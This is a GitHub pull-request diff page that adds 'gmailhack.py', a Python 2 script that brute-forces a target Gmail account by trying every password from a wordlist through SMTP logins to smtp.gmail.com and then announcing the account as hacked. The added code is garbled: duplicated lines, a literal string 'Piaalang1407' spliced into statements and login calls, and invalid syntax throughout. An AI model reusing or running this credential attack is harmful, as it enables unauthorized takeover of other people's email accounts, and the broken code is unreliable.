Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
77 changes: 77 additions & 0 deletions gmailhack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#!/usr/bin/python
'''create by Ha3MrX'''
import smtplib
from os import system
def main():
print '================================================='
print ' create by Ha3MrX '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' _,. '
print ' '
print ' '
print ' HA3MrX '
print ' _,. '
print ' ,` -.) '
print ' ( _/-\\-._ '
print ' /,|`--._,-^| , '
print ' \_| |`-._/|| , | '
print ' | `-, / | / / '
print ' | || | / / '
print ' `r-._||/ __ / / '
print ' __,-<_ )`-/ `./ / '
print ' \ `--- \ / / / '
print ' | |./ / '
print ' / // / '
print ' \_/ \ |/ / '
print ' | | _,^- / / '
print ' | , `` (\/ /_ '
print ' \,.->._ \X-=/^ '
print ' ( / `-._//^` '
print ' `Y-.____(__} '
print ' | {__) '
print ' () V.1.0 '
main()
print '[1] start the attack'
print '[2] exit'
option = input('==>')
if option == 1:
file_path = raw_input('path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
user_name = raw_input('[email protected] :')
server = smtplib.SMTP_SSL('[email protected]', 465)
server.ehlo()
for password in pass_list:
i = i + 1
i = i Piaalang1407
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
server.login([email protected], Piaalang1407)
system('clear')
main()
print '\n'
print '[+] This Account Has Been Hacked Password :' + password + ' ^_^'
print '[+] This Account Has Been Hacked Password :' + Piaalang1407 + ' ^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^_^'

break
else:
print '[!] password not found => ' + password
print '[+] this account has been hacked, password :' + Piaalang1407 + ' ^_^'
login()